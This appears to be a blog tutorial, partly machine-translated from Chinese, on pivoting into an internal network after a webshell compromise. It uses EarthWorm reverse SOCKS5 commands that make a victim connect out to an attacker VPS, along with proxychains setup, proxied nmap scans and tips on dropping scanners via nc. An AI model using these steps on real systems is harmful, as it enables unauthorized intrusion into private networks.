EW Socks5 proxy for use within the network penetration

Basics

Network penetration tools: EW (EarthWorm)
Download: https://github.com/idlefire/ew

This article describes:

  1. How to use EW to do a reverse proxy Socks5
  2. How browser settings within Socks5 proxy Web service access to the target network
  3. Proxychains provided to the terminal using Socks5 proxy (to facilitate the flow of command line tools local agent into the target network)

THAT ONE

Basic environment

Kali Linux (within Attacker network 192.168.23.133) later referred to the attack machine
Ubuntu 16.04.3 (Attacker public 144.168.57.70) later referred to the public network machine
Windows 10 (Victim target network 10.74.155.39) later referred to the target machine

Network topology: Kali Linux is my local one virtual machine, Ubuntu is a public Internet vps, Windows 10 is the target machine, internal network IP, part of the port mapping to the external network, you can access the public network.

Scene simulation

Now get a network permissions within the target machine (the machine to map port 80 to the external network, there are loopholes in Web services, we have got webshell). Need to further penetrate the internal network, currently I have a public network Ubuntu, Kali a network, how to reverse Socks5 traffic Kali agents into the target network ?

The usage scenarios are:
https://github.com/idlefire/ew

EW done using a reverse proxy Socks5

Only here do demonstration by EW reverse Socks5 proxy, forward, multi-stage cascade of agents and can refer to the official documentation.

Step 1: Run the following commands on Ubuntu public network:

./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &

The meaning of this command is that the public network machine monitor ports 1080 and 1024. Wait for the attacker machine access port 1080, port 1024 access target machine.
Public network Ubuntu

Step 2: the target machine to perform the following command:

ew_for_Win.exe -s rssocks -d 144.168.57.70 -e 1024

Wherein the value of just the public IP -d parameter.

Windows 10 target machine
Note that visited the 1024 port.

第3步:攻击机器Kali通过proxychains或浏览器设置Socks5代理访问目标内网服务

方法一:Kali 浏览器设置Socks5代理
Kali browser settings

随便在我windows上面开一个web服务:
phpstudy 开一个 Apache:
Windows local Apache service

此时已可以通过Kali攻击机器的浏览器访问目标内网的Web服务:

10.74.155.39 IP intranet as Windows10

方法二:使用proxychains给终端设置Socks5代理
第1步:下载及安装proxychains

cd /usr/local/src
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng 
./configure --prefix=/usr --sysconfdir=/etc
make && make install
make install-config
cd .. && rm -rf proxychains-ng

Installed
这里一路操作下来畅通无阻,仅截图部分操作记录。

第2步:编辑proxychains配置文件设置代理

vi /etc/proxychains.conf
socks5  144.168.57.70 1080

/etc/proxychains.conf

第3步:测试内网穿透是否成功
test
因为刚刚说过,windows 10目标机器的127.0.0.1为 Apache 服务。
为什么是 proxychains4 这条命令呢?参考:利用proxychains在终端使用socks5代理 - CSDN博客
但是为什么失败了呢?其实是这里设置错了。
/etc/proxychains.conf
看命令行的报错,先通过127.0.0.1的9050端口进行代理,就出错了。
所以修改/etc/proxychains.conf,把这一行删掉:
Leaving only the line socks5

然后访问使用proxychains代理访问 127.0.0.1, 就成功了:
127.0.0.1
127.0.0.1

这就是 Windows 10 的127.0.0.1。
Windows10 127.0.0.1

更进一步:使用proxychains nmap对目标内网扫描

大佬的文章里面提到了通过代理进行nmap扫描:
Screenshot Gangster article

但是亲测使用 kali ip 进行nmap扫描并不对:
nmap 127.0.0.1 sweep

nmap scan windows 10 IP network hosts

nmap scan kali IP

可以看出,扫 127.0.0.1 和扫 Kali IP的结果是一样的,但是和扫windows10主机内网IP的结果不一样。但是当然是以扫windows10内网IP的结果为准啦。

总结一下:这里 nmap 的 IP 应该为目标机器内网IP。就理解为:nmap已经运行在目标windows10上了,但是扫描的时候不能使用127.0.0.1作为IP,而应该是windows10的内网IP。(而且扫描不能用半连接)。

但是前面使用了proxychains代理连,结果本应该是一样的(127.0.0.1和内网IP都指向一个地方),这可能是因为nmap走代理有问题,也就是大佬文中提到的“有的工具流量不走sock5代理,就很尴尬,具体原因不详”。

但是归根结底要使用目标机器的内网IP的,因为有的时候我们还得扫网段。这个代理之后就相当于:
代理架构好了之后,我本地走的代理,理解为我的nmap是运行于目标机器上,但是扫描的IP不能是127.0.0.1,而是目标机器的内网ip。换句话说,就相当于我的这台Kali就是目标机器了(流量层面),就相当于我这台Kali已经在目标内网中了。

但是 @从心开始 群里的大神们说(感谢这群一直耐心教导我的师傅们),不建议通过代理扫描,动静大、速度慢、不稳定、时间长、容易断。

建议的方法,丢一个小工具到目标主机上扫(可以nc丢),或者自己写工具。小工具推荐为:portqry 或者有个很好的扫windows的叫runfinger(一半端口扫描借助powershell或/dev/tcp);hbscan;python写的小工具;ms的queryport......

至于为什么放着现成的工具不用自己写呢?因为大部分实战的情况下 并没有那么好的环境,很多操作都需要自己根据环境来编写对应的脚本,主要是一个根据环境定制化。nmap体积大动静大,我们需要更轻量级定制化的工具。

总之内网穿透了就相当于我们的攻击机器在内网里面了,后面自己发挥......


Reference links:
[0] use EW as Socks5 proxy network penetration , simple book addresses this paper
[1] how to do it by EW within Socks5 proxy network penetration , network security big event, fairy tales, January 10, 2018
[2 ] use proxychains use socks5 proxy terminal , CSDN blog, Layne101, 2016 Nian 9 Yue 12 Ri
[3] penetration skills --Windows platform and run Masscan Nmap , 3g student blog, 3g students, July 5, 2017

Guess you like

Origin www.cnblogs.com/Snowming04/p/11647248.html